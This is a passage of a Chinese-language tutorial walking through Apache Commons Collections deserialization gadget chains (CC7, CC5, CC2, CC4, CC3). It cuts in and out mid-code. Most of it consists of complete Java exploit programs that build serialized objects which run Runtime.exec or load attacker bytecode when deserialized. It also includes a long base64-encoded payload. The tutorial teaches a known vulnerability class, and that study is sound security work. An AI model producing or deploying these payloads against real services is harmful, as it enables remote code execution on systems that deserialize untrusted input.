Class<PriorityQueue> priorityQueueClass = PriorityQueue.class;
Field comparator = priorityQueueClass.getDeclaredField("comparator");
comparator.setAccessible(true);
comparator.set(priorityQueue, beanComparator);

serialize(priorityQueue);
unserialize("ser.bin");

}

生成payload后,也是能成功打通的(还是组长的好哇)

1
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

CC7

cc7与cc5大同小异,也是后面部分不变,变的只是入口的地方

CC7攻击链分析

思路分析

cc7这里的入口点使用了Hashtable

这里我们简单分析一下,入口类是HashtablereadObject,调用本身的reconstitutionPut方法,进入reconstitutionPut看一下(这里我们不分析怎么找到的可以利用的点),这里我们要调用equals方法,我们需要找到一个类的equals方法可以利用

AbstractMap.equals中存在m.get方法,就可以接上之前的LazyMap.get方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// Hashtable.readObject
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException
{
{
......
reconstitutionPut(table, key, value);
}
}

//Hashtable.reconstitutionPut
private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
throws StreamCorruptedException
{
......
for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
if ((e.hash == hash) && e.key.equals(key)) {
throw new java.io.StreamCorruptedException();
}
}
......
}

下面是这两个类的继承关系,后面的话会根据这两个地方进行做文章,因为逆向流程不太好讲,我们这里从正向开始分析

1
2
3
4
5
6
//LazyMap
public class LazyMap
extends AbstractMapDecorator

//HashMap
public class HashMap<K,V> extends AbstractMap<K,V>

AbstractMapDecorator#equals

当我们在reconstitutionPut中调用e.key.equals(key)时,我们想让这里调用LazyMap.equals,但实际上LazyMap并不存在equals方法,因此会找到他的父类AbstractMapDecorator,调用它的equals方法

并不是AbstractMapDecoratorequals有问题,而是当作一个桥梁去调用AbstractMapequals方法

1
2
3
4
5
6
7
//AbstractMapDecorator.equals
public boolean equals(Object object) {
if (object == this) {
return true;
}
return map.equals(object);
}

AbstractMap#equals

AbstractMapDecorator.equals方法中,也调用了map.equals(object),这次这里我们想让他调用HashMap.equals

但因为HashMap中没有equals方法,会寻找它的父类AbstractMap,调用父类的equals方法,在该方法中存在m.get(key),可以调用LazyMap.get方法,相信这里都不陌生了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// AbstractMap.equals
public boolean equals(Object o) {
......
try {
Iterator<Entry<K,V>> i = entrySet().iterator();
while (i.hasNext()) {
Entry<K,V> e = i.next();
K key = e.getKey();
V value = e.getValue();
if (value == null) {
if (!(m.get(key)==null && m.containsKey(key)))
return false;
} else {
if (!value.equals(m.get(key)))
return false;
}
}
......
}

小结

最后顺一下,是要调用LazyMapequals方法,然后LazyMap中没有equals方法,就会调用它的父类AbstractMapDecoratorequals方法,其中map.equals(object),m是我们一个HashMap,但是HashMap并没有equals方法,所以还是找到其父类AbstractMap,去调用他的equals方法,从而调用LazyMapget方法

调整

put两次

如果Hashtable中只有一个元素的话是不会走入判断的调用equals方法的,我们就可以通过Hashtable添加两个元素,第二个元素的我们传入一个我们构造的LazyMap对象

另一个是我们在最开始Hashtable.reconstitutionPut()方法中的必须hash相同(yso里面给出的是’yy’和’zZ’),也就是hash碰撞问题

应该是下面这段代码的原因,比较之前的参数的hash与当前参数的hash,相同才会走进&&后的判断

1
2
3
4
5
6

for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
if ((e.hash == hash) && e.key.equals(key)) {
throw new java.io.StreamCorruptedException();
}
}

还有一个是我们AbstractMap.equals()中个数需要相同。

1
2
if (m.size() != size())
return false;

在 map2 中remove掉 yy

这是因为 `HashTable.put()` 实际上也会调用到 `equals()` 方法:

当调用完 equals() 方法后,LazyMap2 的 key 中就会增加一个 yy 键:

put时弹计算器

虽然这不影响我们的序列化,但是总归是不好的,需要修改一下

最终EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
package com.review;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.AbstractMapDecorator;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.AbstractMap;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class CC7 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});

Map hashMap1 = new HashMap();
Map hashMap2 = new HashMap();
Map lazyMap1 = LazyMap.decorate(hashMap1, chainedTransformer);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(hashMap2, chainedTransformer);
lazyMap2.put("zZ", 1);


Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 1);
lazyMap2.remove("yy");

Class<ChainedTransformer> chainedTransformerClass = ChainedTransformer.class;
Field iTransformers = chainedTransformerClass.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(chainedTransformer, transformers);


serialize(hashtable);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

CC5

cc5的后半部分和之前是一样的,只是在调用LazyMap的get方法时,使用的是TiedMapEntrytoString方法,相当于是提供了一个新的入口

CC5攻击链分析

调用get

这里TiedMapEntry的同toString方法调用了getValue方法,而getValue方法调用了map的get方法

1
2
3
4
5
6
7
8
// TiedMapEntry toString
public String toString() {
return getKey() + "=" + getValue();
}

public Object getValue() {
return map.get(key);
}

只需要将lazyMap放入TiedMapEntry中,然后调用其toString方法即可

1
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, 1);

调用toString

<font style="color:rgb(50, 50, 50);">BadAttributeValueExpException</font>readObject方法中,会调用传入类的toString方法,这里非常简单,也是只需要将TiedMapEntry传入<font style="color:rgb(50, 50, 50);">BadAttributeValueExpException</font>中即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);

if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}

最终代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object,Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map, chainedTransformer);

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, 1);

BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(tiedMapEntry);

serialize(badAttributeValueExpException);
unserialize("ser.bin");

}

CC2链

CC2攻击链分析

add流程解析

之前这里没有搞明白,这次这里动态调试了一下,发现应该是差不多了,回来补一下

在这里add之后进行了下列操作,就是将add的元素,放入了queue数组中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
priorityQueue.add(templates);

public boolean add(E e) {
return offer(e);
}

public boolean offer(E e) {
if (e == null)
throw new NullPointerException();
modCount++;
int i = size;
if (i >= queue.length)
grow(i + 1);
size = i + 1;
if (i == 0)
queue[0] = e;
else
siftUp(i, e);
return true;
}

这里的grow方法其实无关紧要,if判断中的queue.length在默认情况下是11,grow方法的作用就是// Double size if small; else grow by 50%,就是如果i大于等于这个长度时,就会扩大这个队列的长度

1
2
3
4
5
6
7
8
9
10
11
private void grow(int minCapacity) {
int oldCapacity = queue.length;
// Double size if small; else grow by 50%
int newCapacity = oldCapacity + ((oldCapacity < 64) ?
(oldCapacity + 2) :
(oldCapacity >> 1));
// overflow-conscious code
if (newCapacity - MAX_ARRAY_SIZE > 0)
newCapacity = hugeCapacity(minCapacity);
queue = Arrays.copyOf(queue, newCapacity);
}

上面siftUp方法的代码如下,当队列不为空时,会根据comparator的情况调用不同的方法,但是两者大致的情况就是,将传入的参数和队列中数据进行比较,然后进行排序(大概是这样)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
private void siftUp(int k, E x) {
if (comparator != null)
siftUpUsingComparator(k, x);
else
siftUpComparable(k, x);
}

private void siftUpUsingComparator(int k, E x) {
while (k > 0) {
int parent = (k - 1) >>> 1;
Object e = queue[parent];
if (comparator.compare(x, (E) e) >= 0)
break;
queue[k] = e;
k = parent;
}
queue[k] = x;
}

private void siftUpComparable(int k, E x) {
Comparable<? super E> key = (Comparable<? super E>) x;
while (k > 0) {
int parent = (k - 1) >>> 1;
Object e = queue[parent];
if (key.compareTo((E) e) >= 0)
break;
queue[k] = e;
k = parent;
}
queue[k] = key;
}

反序列化流程分析

这里大家可以看到heapify,它调用了siftDown(i, (E) queue[i]),我们传入两个参数,所以size为2,二进制右移一位后就为0,所以这里只能遍历到queue[0]

接下来调用的siftDown中的x就是templates

最后在siftDownUsingComparator中的if (comparator.compare(x, (E) c) <= 0),第一次遍历时相当于调用了TransformingComparator.compare(queue[0],queue[1]),也就调用了invoketransform.transform(templates),调用了templates的newTransformer方法,这里就和前面接上了

这里的k<half,有点二分查找的感觉了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
heapify();

private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}

private void siftDown(int k, E x) {
if (comparator != null)
siftDownUsingComparator(k, x);
else
siftDownComparable(k, x);
}

private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
if (right < size &&
comparator.compare((E) c, (E) queue[right]) > 0)
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0)//最后就是在这里执行代码
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}

代码替换

下面是cc2链与cc4链存在差异的代码,可以看出,cc2相比于cc4,少了ChainedTransformer这个类的使用

且cc2存在着cc1的老问题,已经不想多说了,还是构造时传入无用的东西,反射修改回来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
//CC4
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer",null, null)
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer);

PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);

priorityQueue.add(1);
priorityQueue.add(1);

serialize(priorityQueue);
unserialize("ser.bin");
}

//CC2
public static void main(String[] args) throws Exception {
InvokerTransformer<Object,Object> invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});

TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));

PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);

priorityQueue.add(templates);
priorityQueue.add(2);

Class<? extends TransformingComparator> aClass = transformingComparator.getClass();
Field transformer = aClass.getDeclaredField("transformer");
transformer.setAccessible(true);
transformer.set(transformingComparator, invokerTransformer);

serialize(priorityQueue);
unserialize("ser.bin");
}

最终代码

进行比较是,我们的templates应第一个add进去

因为在对第一个对象进行transform方法调用时,我们传入的Integer类型,无 newTransformer方法,报错导致后面的templates.transform无法执行

1
2
3
4
5
public int compare(final I obj1, final I obj2) {
final O value1 = this.transformer.transform(obj1);
final O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}

最终代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
public static void main(String[] args) throws Exception {

TemplatesImpl templates = new TemplatesImpl();
Class tc =templates.getClass();
Field name = tc.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"aaa");


Field bytecodes = tc.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("F:\\temporary\\Test.class"));
byte[][] codes = {code};
bytecodes.set(templates,codes);

Field tfactory = tc.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());

InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});


TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer<>(1));

PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);

priorityQueue.add(templates);
priorityQueue.add(1);

Class c = transformingComparator.getClass();
Field transformer = c.getDeclaredField("transformer");
transformer.setAccessible(true);
transformer.set(transformingComparator,invokerTransformer);

serialize(priorityQueue);
unserialize("ser.bin");
}

自己的思考

之前说(下面),我在想,若传入一个存在`newTransformer`方法的类,是否也可以使恶意代码执行

找的过程很艰难,存在该方法的没有继承Serializable接口,且在add方法时,就会触发newTransformer方法,报错导致后续代码无法执行,因此尝试反射修改,但是这里失败了,因为queue有transient修饰,不带入序列化数据中

就这样结束了

1
transient Object[] queue;

CC4链

之前讲的几条链子,都是在commons-collections3.2.1版本之前的攻击链,cc4是在commons-collections4.0版本中的一条链子

实际上,这条链子还是换汤不换药,只是中间执行的方式换了一下,后面还是命令执行和代码执行两种方式

CC4攻击链分析

调用transform方法

这里用到的是TransformingComparatorcompare方法,他的属性是public属性,且这个类继承了Serializable接口

1
2
3
4
5
public int compare(final I obj1, final I obj2) {
final O value1 = this.transformer.transform(obj1);
final O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}

调用compare

现在只需要找到一个类的readObject方法中调用了compare,实际上在PriorityQueuereadObject方法中调用到了,因为它也是在其他函数中层层调用的,我们这里就直接正向寻找了

以下是函数的调用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
......
heapify();
}

private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}

private void siftDown(int k, E x) {
if (comparator != null)
siftDownUsingComparator(k, x);
else
siftDownComparable(k, x);
}

private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
if (right < size &&
comparator.compare((E) c, (E) queue[right]) > 0)
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}

小芝士:

有同学可能问了,为什么这条链必须是在common collections4.0的情况下呢,我们看一下区别

因为在3.2.1的版本内是不没有继承序列化接口的,而4.0中继承了序列化接口

1
2
3
4
5
//common collections3.2.1
public class TransformingComparator implements Comparator

//common collections4.0
public class TransformingComparator<I, O> implements Comparator<I>, Serializable

现在来写一下这个链子,和之前的链子也是大同小异

我们现在只需要把chainedTransformer放入TransformingComparator,再将TransformingComparator放入priorityQueue优先队列里面(这两个类的构造函数如下)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public TransformingComparator(final Transformer<? super I, ? extends O> transformer) {
this(transformer, ComparatorUtils.NATURAL_COMPARATOR);
}

public TransformingComparator(final Transformer<? super I, ? extends O> transformer,
final Comparator<O> decorated) {
this.decorated = decorated;
this.transformer = transformer;
}

public PriorityQueue(Comparator<? super E> comparator) {
this(DEFAULT_INITIAL_CAPACITY, comparator);
}
public PriorityQueue(int initialCapacity,
Comparator<? super E> comparator) {
// Note: This restriction of at least one is not actually needed,
// but continues for 1.5 compatibility
if (initialCapacity < 1)
throw new IllegalArgumentException();
this.queue = new Object[initialCapacity];
this.comparator = comparator;
}

实现如下,这样的话链子的逻辑也就走完了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();

Class tl = templates.getClass();
Field name = tl.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates, "CC3");

byte[] code= Files.readAllBytes(Paths.get("F:\\temporary\\Test.class"));
byte[][] codes={code};
Field bytecodes = tl.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates, codes);

Field tfactory = tl.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates, new TransformerFactoryImpl());


Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer",null, null)
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer);

PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);

serialize(priorityQueue);
unserialize("ser.bin");
}

后续调整

自己思考与尝试

但是运行后却无视发生,应该是在链子运行时有一些条件导致链子没有完整的走下来,我们可以通过动态调试来找到问题出处

最后在这里发现,由于size的原因,并没有走到siftDown方法内,由于size无符号右移以后,为零,所以并没有进行遍历操作,因此我想我们可以通过反射修改size的值为2就可以进行遍历操作

>>> : 无符号右移,忽略符号位,空位都以0补齐

1
2
3
4
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}

反射修改如下,修改后成功执行

1
2
3
4
Class<? extends PriorityQueue> aClass = priorityQueue.getClass();
Field size = aClass.getDeclaredField("size");
size.setAccessible(true);
size.set(priorityQueue, 2);

实际

在这个地方,白日梦组长是向其中add了两个东西,使他的size变为2,但是在这里add方法也会触发compare方法,就是我们说的cc1的老毛病,也是可以构造时传入无用的东西,等add完成后反射修改回去
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
public boolean add(E e) {
return offer(e);
}

public boolean offer(E e) {
......
else
siftUp(i, e);
return true;
}

private void siftUp(int k, E x) {
if (comparator != null)
siftUpUsingComparator(k, x);
else
siftUpComparable(k, x);
}

private void siftUpUsingComparator(int k, E x) {
while (k > 0) {
int parent = (k - 1) >>> 1;
Object e = queue[parent];
if (comparator.compare(x, (E) e) >= 0)
break;
queue[k] = e;
k = parent;
}
queue[k] = x;
}

将反射改为add方法后,也可以成功弹出计算器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();

Class tl = templates.getClass();
Field name = tl.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates, "CC3");

byte[] code= Files.readAllBytes(Paths.get("F:\\temporary\\Test.class"));
byte[][] codes={code};
Field bytecodes = tl.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates, codes);

Field tfactory = tl.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates, new TransformerFactoryImpl());


Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer",null, null)
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer);

PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);


priorityQueue.add(1);
priorityQueue.add(1);

serialize(priorityQueue);
unserialize("ser.bin");
}

CC3链补充

ysoserial中使用TrAXFilter类,来触发newTransformer方法,最后也可以成功进行类加载

这里我们也进行分析一下

CC3攻击链分析

调用newTransformer

我们来看`TrAXFilter`的构造函数,构造时需要传入一个templates ,然后调用他的`newTransformer`方法,但是这个类并没有继承Serializable接口,如果我们能找一个调用其构造函数的方法,我们就可以成功执行代码
1
2
3
4
5
6
7
8
9
10
public class TrAXFilter extends XMLFilterImpl

public TrAXFilter(Templates templates) throws
TransformerConfigurationException
{
_templates = templates;
_transformer = (TransformerImpl) templates.newTransformer();
_transformerHandler = new TransformerHandlerImpl(_transformer);
_useServicesMechanism = _transformer.useServicesMechnism();
}

调用TrAXFilter构造方法

CC3的作者找到了InstantiateTransformer这个类,看名字就知道这个类是用来初始化Transformer

它会判断你传入的是不是一个Class类型,如果是的话就会调用其指定参数类型的构造器

我们需要new一个InstantiateTransformer,将构造器的参数类型和参数传入,然后将TrAXFilter的class类传入,它就会根据参数类型去调用TrAXFilter的构造方法,并将参数传入

最后一步就会return我们构造好并进行实例化的类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public InstantiateTransformer(Class[] paramTypes, Object[] args) {
super();
iParamTypes = paramTypes;
iArgs = args;
}

public Object transform(Object input) {
try {
if (input instanceof Class == false) {
throw new FunctorException(
"InstantiateTransformer: Input object was not an instanceof Class, it was a "
+ (input == null ? "null object" : input.getClass().getName()));
}
Constructor con = ((Class) input).getConstructor(iParamTypes);
return con.newInstance(iArgs);

}
......
}

根据如上解释,中间部分换为如下代码,就可以执行恶意代码了

1
2
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
instantiateTransformer.transform(TrAXFilter.class);

调用transform方法

由于cc1的老毛病,我们还是使用`ChainedTransformer`去调用其transform

如下代码相当于调用了instantiateTransformer.transform(TrAXFilter.class)

剩下的和之前的是一样的

1
2
3
4
5
6
7
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});


Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};

最终代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();

Class tl = templates.getClass();
Field name = tl.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates, "CC3");

byte[] code= Files.readAllBytes(Paths.get("F:\\temporary\\Test.class"));
byte[][] codes={code};
Field bytecodes = tl.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates, codes);

//可有可无
Field tfactory = tl.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates, new TransformerFactoryImpl());

InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object,Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map, chainedTransformer);

Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
